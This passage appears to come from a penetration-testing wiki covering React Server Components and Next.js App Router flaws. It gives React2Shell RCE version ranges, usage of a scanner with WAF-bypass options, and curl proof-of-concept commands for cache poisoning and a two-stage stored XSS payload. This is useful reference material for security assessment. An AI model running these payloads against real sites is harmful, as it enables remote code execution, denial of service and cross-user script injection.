React Server Functions (RSF) are any functions that include the 'use server'; directive. Every form action, mutation, or fetch helper bound to one of those functions becomes an RSC Flight endpoint that will happily deserialize attacker-supplied payloads. Useful recon steps derived from React2Shell assessments:[4]

  • Static inventory: look for the directive to understand how many RSFs are being automatically exposed by the framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app enables the App Router + app/ directory by default, which silently turns every route into an RSC-capable endpoint. App Router assets such as /_next/static/chunks/app/ or responses that stream Flight chunks over text/x-component are strong Internet-facing fingerprints.
  • Implicitly vulnerable RSC deployments: React’s own advisory notes that apps shipping the RSC runtime can be exploitable even without explicit RSFs, so treat any build using react-server-dom-* 19.0.0–19.2.0 as suspect.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reuse the same serializer and inherit the identical remote attack surface until they embed patched React builds.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerable in 19.0.0, 19.1.0–19.1.1 and 19.2.0; patched in 19.0.1, 19.1.2 and 19.2.1 respectively.
  • Next.js stable: App Router releases 15.0.0–16.0.6 embed the vulnerable RSC stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 include fixed deps, so any build below those versions is high-value.
  • Next.js canary: 14.3.0-canary.77+ also ships the buggy runtime and currently lacks patched canary drops, making those fingerprints strong exploitation candidates.[4]

Remote detection oracle

Assetnote’s react2shell-scanner sends a crafted multipart Flight request to candidate paths and watches server-side behavior:[6]

  • Default mode executes a deterministic RCE payload (math operation reflected via X-Action-Redirect) proving code execution.
  • --safe-check mode purposefully malforms the Flight message so patched servers return 200/400, while vulnerable targets emit HTTP/500 responses containing the E{"digest" substring inside the body. That (500 + digest) pair is currently the most reliable remote oracle published by defenders.
  • Built-in --waf-bypass, --vercel-waf-bypass, and --windows switches adjust payload layout, prepend junk, or swap OS commands so you can probe real Internet assets.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Other recent App Router issues (late 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a text/x-component body with abusive $ references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.[7]

    • Triage tip: Unpatched targets return 500 with E{"digest" after malformed Flight payloads; patched builds return 400/200. Test any endpoint already streaming Flight chunks (look for Next-Action headers or text/x-component responses) and replay with a modified payload.
  2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – missing Vary let an Accept: text/x-component response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads.[8] PoC flow:

    # Prime CDN with an RSC response
    curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
    # Immediately fetch without Accept (victim view)
    curl -k "https://target/app/dashboard" | head

    If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

  3. Header reflection + RSC content-type confusion -> stored / 0-click SXSS – Some App Router deployments mirror incoming request headers into the response (often via middleware.ts / proxy.ts). If an external CDN caches RSC variants and does not safely isolate Vary: Rsc, that “low impact” reflection can become cross-user XSS:[9]

    • Send Rsc: 1 to force a dynamic route to return the React Server Component payload instead of HTML. Dynamic routes are the interesting target because they reflect query parameters inside the Flight body after __PAGE__; prerendered routes are less useful and often expose x-nextjs-prerender.
    • If the reflected request headers let you pre-seed Content-Type: text/html, Next.js keeps the attacker value because it only sets the default RSC text/x-component type when no Content-Type is already present. The browser then parses the RSC payload as HTML instead of inert Flight data.
    • If the CDN stores that poisoned response, what looks like reflected XSS becomes stored XSS via cache poisoning. Query parameters commonly remain part of the cache key, so the exact payload URL becomes the retrieval key for later victims.
    • To remove the “victim must open the payload URL” requirement, poison a high-traffic page such as / with a reflected Refresh: 0; https://target/path?<same-payload> header. Location needs a 3xx status, but Refresh works on cacheable 200 responses and can bounce users into the already-poisoned RSC entry.[10]

    Quick triage flow:

    # Stage 1: poison a dynamic route as HTML instead of text/x-component
    curl -isk -H 'Rsc: 1' -H 'Content-Type: text/html' \
      'https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E'
    
    # Stage 2: poison / with a cached browser-side redirect to the same key
    curl -isk -H 'Refresh: 0; https://target.tld/account?pwn=%3Cimg%20src=x%20onerror=alert(1)%3E' \
      'https://target.tld/'

    Triage tips:

    • Compare the same route with and without Rsc: 1, then watch for Content-Type, Vary: Rsc, CF-Cache-Status / X-Cache, and unescaped query-string reflection after __PAGE__.
    • Test both dynamic and prerendered routes. If x-nextjs-prerender is present, move to a dynamic path.
    • Header-forwarding logic often lives in middleware/proxy matchers that exclude _next/static, _next/image, and favicon.ico, so static assets may not expose the same primitive.[11]

References